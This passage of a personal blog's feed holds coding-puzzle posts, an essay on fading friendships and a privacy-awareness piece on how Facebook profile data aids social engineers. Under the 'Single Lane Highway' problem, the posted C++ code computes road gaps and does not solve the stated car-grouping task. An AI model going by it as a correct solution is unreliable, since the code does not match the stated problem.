</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#75715e">//	cout&lt;&lt;store[i].one&lt;&lt;&#34; &#34;&lt;&lt;store[i].zero&lt;&lt;&#34; &#34;&lt;&lt;store[i].len&lt;&lt;endl;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#75715e">//}
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//find subset
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#a6e22e">subset_find</span>(elem,n , store);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">convertbinary</span>(total, lent);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>As you see that whole problem move around bits.</p>
<p>So i have first find the max element and find ones and zero in it and then most important its length so after that i made a array of structure as you see on top of the code and store the length , ones ,zeros of every element index wise now important point is when you calculating and storing ones and zero in struct of array than if the length of binary representation of a number is less then the max element binary representation then add the diff of length in number of zeros.</p>
<p>So now only thing left is to find the subset of main set that have same number of zeros and ones.
at last we find all subset of that set and and calculate the number of zero and one by adding them as we have stored them in array of struct.</p>
<p>After counting number of subset have equivalence now answer is to represent the number in binary and of length equal to max element binary representation length</p>
]]></content></item><item><title>Crash Code Part-1 (Single Lane Highway)</title><link>https://blzr.sbs/posts/crash-code-1/</link><pubDate>Sat, 01 Jan 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/crash-code-1/</guid><description>Trying to solve old coding questions, because reasons</description><content type="html"><![CDATA[<h3 id="problem-description">Problem Description</h3>
<p>Certain number of cars are passing a single lane road. Speeds of all cars vary. It is easy to see, that depending on the speeds of the cars various groups will be formed.</p>
<p>Being a single lane road passing/overtaking is not allowed. Given speeds of cars, calculate how many groups can be formed if all possible permutations are taken into account.</p>
<p>Refer examples for better understanding.</p>
<p>Print number of groups divided by the number of permutations.</p>
<h3 id="constraints">Constraints</h3>
<p>0 &lt;= N &lt; 10^5</p>
<p>0 &lt;= speed of individual vehicle &lt; 10*9</p>
<h3 id="input">Input</h3>
<p>First line contains an integer N, which denotes the number of</p>
<p>Second line contains N space separated integers which denotes the speed of individual vehicle.</p>
<h3 id="output">Output</h3>
<p>Print number of groups divided by the number of permutations rounded upto 6 decimal places.</p>
<h3 id="time-limit">Time Limit</h3>
<p>1</p>
<h3 id="examples">Examples</h3>
<h4 id="example-1">Example 1</h4>
<p>Input - 3</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>10 20 30
</span></span></code></pre></div><p>Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>1.833333
</span></span></code></pre></div><p>Explanation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>So all possible permutations are: {10 20 30}, {10 30 20}, {20} {10 30}, {20 30} {10}, {30} {10 20}, {30 20} {10}.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>So here there are total 6 permutations, and total number of groups are 11. So, output is 11/6 = 1.833333
</span></span></code></pre></div><h4 id="example-2">Example 2</h4>
<p>Input - 4</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>56 78 13 92
</span></span></code></pre></div><p>Output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>2.083333
</span></span></code></pre></div><p>Explanation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>So here there are total 24 permutations,
</span></span><span style="display:flex;"><span>For example:
</span></span><span style="display:flex;"><span>{56 78 13 92}
</span></span><span style="display:flex;"><span>{92} {13 78 56}
</span></span><span style="display:flex;"><span>{56} {13 92 78}
</span></span><span style="display:flex;"><span>{78 92} {13 56} So on and so forth. 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The total number of groups are 50. So, the output is 50/24 = 2.083333
</span></span></code></pre></div><h3 id="solve">Solve</h3>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;bits/stdc++.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>using namespace std;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define ll long long
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define ull unsigned long long
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define ld long double
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#66d9ef">int</span> MOD <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span>)(<span style="color:#ae81ff">1e9</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define fastio ios::sync_with_stdio(false); cin.tie(0); cout.tie(0);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define T int tt; cin&gt;&gt;tt; while(tt--)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>ll <span style="color:#a6e22e">gcd</span>(ll a,ll b){<span style="color:#66d9ef">while</span>(b){ll t<span style="color:#f92672">=</span>a;a<span style="color:#f92672">=</span>b;b<span style="color:#f92672">=</span>t<span style="color:#f92672">%</span>b;}<span style="color:#66d9ef">return</span> a;}          
</span></span><span style="display:flex;"><span>ll <span style="color:#a6e22e">lcm</span>(ll a,ll b){<span style="color:#66d9ef">return</span> (<span style="color:#a6e22e">max</span>(a,b)<span style="color:#f92672">/</span><span style="color:#a6e22e">gcd</span>(a,b))<span style="color:#f92672">*</span><span style="color:#a6e22e">min</span>(a,b);}
</span></span><span style="display:flex;"><span>ll <span style="color:#a6e22e">modmult</span>(ll a,ll b){ll res<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;a<span style="color:#f92672">%=</span>MOD;<span style="color:#66d9ef">while</span>(b){<span style="color:#66d9ef">if</span>(b<span style="color:#f92672">&amp;</span><span style="color:#ae81ff">1</span>)res<span style="color:#f92672">=</span>(res<span style="color:#f92672">+</span>a)<span style="color:#f92672">%</span>MOD;a<span style="color:#f92672">=</span>(a<span style="color:#f92672">&lt;&lt;</span><span style="color:#ae81ff">1</span>)<span style="color:#f92672">%</span>MOD;b<span style="color:#f92672">&gt;&gt;=</span><span style="color:#ae81ff">1</span>;}<span style="color:#66d9ef">return</span> res;}
</span></span><span style="display:flex;"><span>ll <span style="color:#a6e22e">modexpo</span>(ll a,ll b){ll res<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>;a<span style="color:#f92672">%=</span>MOD;<span style="color:#66d9ef">while</span>(b){<span style="color:#66d9ef">if</span>(b<span style="color:#f92672">&amp;</span><span style="color:#ae81ff">1</span>)res<span style="color:#f92672">=</span>(res<span style="color:#f92672">*</span>a)<span style="color:#f92672">%</span>MOD;a<span style="color:#f92672">=</span>(a<span style="color:#f92672">*</span>a)<span style="color:#f92672">%</span>MOD;b<span style="color:#f92672">&gt;&gt;=</span><span style="color:#ae81ff">1</span>;}<span style="color:#66d9ef">return</span> res;}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    fastio;
</span></span><span style="display:flex;"><span>   
</span></span><span style="display:flex;"><span>     ll n,m;
</span></span><span style="display:flex;"><span>    cin<span style="color:#f92672">&gt;&gt;</span>n<span style="color:#f92672">&gt;&gt;</span>m;
</span></span><span style="display:flex;"><span>    ll road[n];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span>(ll i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>m;i<span style="color:#f92672">++</span>){<span style="color:#66d9ef">int</span> a; cin<span style="color:#f92672">&gt;&gt;</span>a; road[a<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]<span style="color:#f92672">=-</span><span style="color:#ae81ff">1</span>;} <span style="color:#75715e">// -1 to denote start position of a car
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    cin<span style="color:#f92672">&gt;&gt;</span>m;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span>(ll i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>m;i<span style="color:#f92672">++</span>){<span style="color:#66d9ef">int</span> a; cin<span style="color:#f92672">&gt;&gt;</span>a; road[a<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]<span style="color:#f92672">=-</span><span style="color:#ae81ff">9</span>;} <span style="color:#75715e">// -9 to denote end position of a car
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> start<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>,finish<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>,max<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span>(ll i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>n;i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>    {  <span style="color:#66d9ef">if</span>(road[i]<span style="color:#f92672">==-</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> gap<span style="color:#f92672">=</span>(i<span style="color:#f92672">-</span>finish); <span style="color:#66d9ef">if</span> (gap<span style="color:#f92672">&gt;</span>max <span style="color:#f92672">&amp;&amp;</span> gap<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">1</span>)max<span style="color:#f92672">=</span>gap; start<span style="color:#f92672">=</span>i; <span style="color:#66d9ef">continue</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(road[i]<span style="color:#f92672">==-</span><span style="color:#ae81ff">9</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>    finish<span style="color:#f92672">=</span>i;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>        cout<span style="color:#f92672">&lt;&lt;</span>max<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">&lt;&lt;</span>endl;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>     
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
]]></content></item><item><title>Broken Friends</title><link>https://blzr.sbs/posts/broken-friends/</link><pubDate>Mon, 06 Aug 2018 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/broken-friends/</guid><description>The conscious act of breaking friendships is actually lot more true</description><content type="html"><![CDATA[<blockquote>
<p><strong>This post appeared in NoPurposeClub on August 6, 2018.</strong> This is the beauty of taking backups&hellip;</p>
</blockquote>
<p>5th August was Friendship Day, and I, bl4z3r, wishes you all a long-lasting and evergreen friendship on WordPress community and in real life. Though, I am behind a PC, and have no money in my pockets to do creative things “Behind the Mac”. So, sorry Apple fanboys/girls; But hey it works, and let’s keep it in that way.
From my own experience, I want to shed some Strobe Lights on the fact that like love, friends can break up, and there are no fallback to rulebooks regarding this.</p>
<p>25… That’s the number… When you start to loose friends. Sustaining relationships are always been a challenge in the Digital Life, but sustaining adult friendships a different league of hardness, which makes some of us loose our goodnight’s sleep. Our Facebook may have 99999 friends (<em>Ladies, yes I am talking to you!!</em>), which we could boast around in our timelines, but we are loosing friends in real life in the same rate too!!! (<em>Mic-Drop</em>)</p>
<p>Most of this come from one thing we need in life to sustain ourselves- a JOB. A demanding job puts an end to frequent get-togethers, that we used to crave in our college or university life. As someone focuses on climbing up the corporate ladder, priorities and values difference causes friction and cause old bonds to fall apart. Being of different industry, The ‘free time’ becomes nonexistent. Without both investing and compromising, the friends from childhood or, buddies of college fades away.</p>
<p>We loose our friendships and buddies at around 25, as we move out from college/universities to workplaces. Also, we make major life decisions for our life, one of which being LOVE. In everyone’s life, The Inner Core friends consists of at most five friends. Once, someone falls in love (or should I say- Kicked hard in ass by Cupid), that core of friends decreases to two.</p>
<p>The social media is the largest culprit of all of these. For reference, my father, my actual-sperm donator (<em>SpellCheck suggests- ‘detonator’</em> &#x1f923;)-father, says such fables where his few friends did some pretty crazy stuffs together (<em>no, that didn’t involve drinking and clubs</em>), and always looks forward to meet face to face when someone from his group returns to city. He says the secret to his friendships maybe be the result of Zuckerberg not being born.</p>
<p>That’s it. We are so wired up in wireless mode of communication, that we simply couldn’t move out from our comfort zone to meet new faces in flesh, and do all the crazy stuffs. Facebook, Instagram etc. gives us a false notation that our friends are close to us, as we get their timely status and make the silliest comment on them (<em>BTW, I make the silliest comment; FYI</em>). Due to this, we don’t make an effort to meet them. Before social media, meeting friends were crucial parts of our lives.</p>
<p>Offline relations takes more energy, time, effort and understanding. Physical presence of each other, and interplay of emotions is real, with close to impossible chances to mask them. It helps to relax and be ourselves, without the burden to build up our online avatar.</p>
<p>A final advise to the readers from the individual, who understands the value of friendships, by loosing it altogether… <strong>KEEP YOUR FRIENDS CLOSE. Period</strong></p>
<p>Friends become very crucial for our mental and physical health as we grow old. Indeed, families are important, but it burdens with duties and responsibilities that tend to drain us. With friends, we mostly pursue activities and passions which make us happy, and be free with all the firewalls turned down.</p>
<p>Keep strong, and yet again, belated Happy Friendship Day.
Don’t be:-</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>We’re not friends, but strangers with memories.
</span></span></code></pre></div><hr>
<p>COMMENTS</p>
<blockquote>
<p>There’s a lot of reality in this post!
Thanks for the reminder and thanks for sharing, my friend! - Shreya Vohra <a href="https://phoenixwithapen.wordpress.com">https://phoenixwithapen.wordpress.com</a></p>
<blockquote>
<p>Sure thing.</p>
</blockquote>
</blockquote>
<blockquote>
<p>I ended up with a heavy heart after reading this post - lemon head <a href="https://bidisha752301104.wordpress.com">https://bidisha752301104.wordpress.com</a></p>
<blockquote>
<p>I am sorry to make your heavy heart. But it is the eternal truth</p>
</blockquote>
</blockquote>
]]></content></item><item><title>Decoding Facebook</title><link>https://blzr.sbs/posts/decoding-facebook/</link><pubDate>Tue, 27 Feb 2018 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/decoding-facebook/</guid><description>Facebook (Now Meta) loves you, so does the social engineers, for you being so naive</description><content type="html"><![CDATA[<blockquote>
<p><strong>This post appeared in NoPurposeClub on February 27, 2018.</strong> This is the beauty of taking backups&hellip;</p>
</blockquote>
<p>Facebook loves you, so does the social engineers, for you being so naive…</p>
<p>If you are here, to learn how Facebook works, then you are click-baited. This article is to learn how you work on Facebook (<em>Like as a datapoint, and neither as an employee, nor Works In FaceBook kinda scam</em>)</p>
<p>Facebook had turned to a social media giant, and many companies rely solely on it for their businesses, and also the meme-makers to gain popularity. But it is also a heaven of data for social engineers, if we forget for a second that FaceBook is running of from  your data.</p>
<p>But how does your profile can spit out plethora of information?
Let’s dig into it</p>
<p>First and foremost, your profile picture, where you are posing with your friends and even with your girl/boy friend and using image editing tools to enhance your beauty. Facebook uses your profile image and does face recognition analysis, that is why you get auto-tagged when a friend of yours clicks a groupie with you and posts on the platform.</p>
<p>For social engineers,  it helps them to identify you and your potential boy/girl friend. Your profile image shows up whenever someone searches for you on google images(try it!) It can also led to having your image superimposed on some fake identity card, and you end up getting caught for some illegal trade, that you never knew existed!
Speaking of your face, next is dedicated to those selfie-craze-people, who click and upload their filtered face, from different angles.</p>
<p>If you are using FaceID (iPhone fanboys/girls), some underground forums claims that, they can make 3-D print of your face, and use it to unlock your iPhone X, if they have access to some 10-12 photos of your face, and for video, 1 video is enough. Now for Hi-res selfies fans out there, you rarely scale down image resolution of your selfies and post the 1080p image. Recently, some groups had bypassed retina scan of Samsung phones, by only using hi-res images of the owner.</p>
<p>Now, comes the part where you gladly enter your school, your city, and sometimes, your residential address (Few “Angels” out there does so), you are under a severe threat, as the engineers can backtrack you to your location, given adequate images to locate the background, where you had done your clicking.
Using your phone number as your username is a serious vulnerability, as it not only allows our “Big Brother” to know where you are, apart from Google’s Location Tracking, via cell tower triangulation, but anyone having your number can be 50% closer to gaining access to your account, rest 50% being the password, as Facebook don’t warn about the different device used to login <em>by default</em>, while logging-in.</p>
<p>Now, you are addicted to signing up for various bots, that show who will be your future girlfriend ;), or who is secret admirer, and you happily give your credentials, to see randomly generated girlfriend is posted to your Feed, and you are not giving a second thought, what it does in background. Apart from handful of developers, who do it for fun, many develop those to gain your credentials, and later use them for various purposes, like spreading botnets, selling your messenger chats (which you never care to delete), or targeting your thousands of your friends to give up their credentials, for something that is remotely amusing.</p>
<p>The relationships that you make is a severe threat, as, social engineers know who is your parents, sisters, brothers etc. and can use them to get access to you, even if you checked out our previous points. This can expose not only you, but also you near and dear ones, to serious vulnerabilities. Also, the “Married, Single, Committed and Its Complicated” relationship tags that you had set up, will open you the targeted attacks, as the social engineers know where you stand in your personal life, and every data is gold not only to Facebook, also for the stalkers that monitor you.</p>
<p>Finishing off with your cringeworthy posts- It can give a great insight to what happens with you in everyday life, and what happened to you in past, as all is saved. The threat is severe, because it is like wearing a giant “Target Me” banner on your back.</p>
<p>As, more and more people are connecting on the platform, more data is being generated for Facebook to use (and, this we can’t help), and more target user base is generated for the social engineers, and all the profiles they have currently access to, “Doomsday Protocol” can be easily started.</p>
<p>I finish off with these lines- your security lies in your hands, if you want to be digitally open, you are making yourself open in real world too. We cannot be secure, or have complete privacy, but, what we can have is limited openness in our digital files, to make ourselves somewhat secure than the rest of the crowd. Making yourself secure and private, will ripple down to your near and dear ones, against the coming onslaughts.</p>
<hr>
<p>COMMENTS</p>
<blockquote>
<p>heyyyy!!!!!!!
i nominated u for versatile award
<a href="https://writingpoetry53260872.wordpress.com/2018/02/26/versatile-blogger-award-yay-me/">https://writingpoetry53260872.wordpress.com/2018/02/26/versatile-blogger-award-yay-me/</a> - universe fireflie (February 27, 2018 at 3:50 pm)</p>
<blockquote>
<p>Thank you for the nomination.I will look into it shortly. -bl4z3r (February 28, 2018 at 7:36 pm)</p>
</blockquote>
</blockquote>
<blockquote>
<p>kay &#x1f642; - universe fireflie(February 28, 2018 at 7:43 pm)</p>
<blockquote>
<p>Assuming that it is “okay”; thankyou. - bl4z3r (February 28, 2018 at 8:05 pm)</p>
</blockquote>
</blockquote>
<blockquote>
<p>lol (laugh out loud) Yes It’s okay &#x1f642; - universe fireflie (February 28, 2018 at 9:06 pm)</p>
<blockquote>
<p>Thanks again, for laughter, as it is the best medicine known to mankind. - bl4z3r (February 28, 2018 at 10:22 pm)</p>
</blockquote>
</blockquote>
<blockquote>
<p>yeah i love humor!! - universe fireflie (February 28, 2018 at 10:36 pm)</p>
<blockquote>
<p>Highfive &#x270b; - bl4z3r (March 1, 2018 at 11:29 am)
high five - universe fireflie (March 1, 2018 at 3:28 pm)</p>
</blockquote>
</blockquote>
]]></content></item></channel></rss>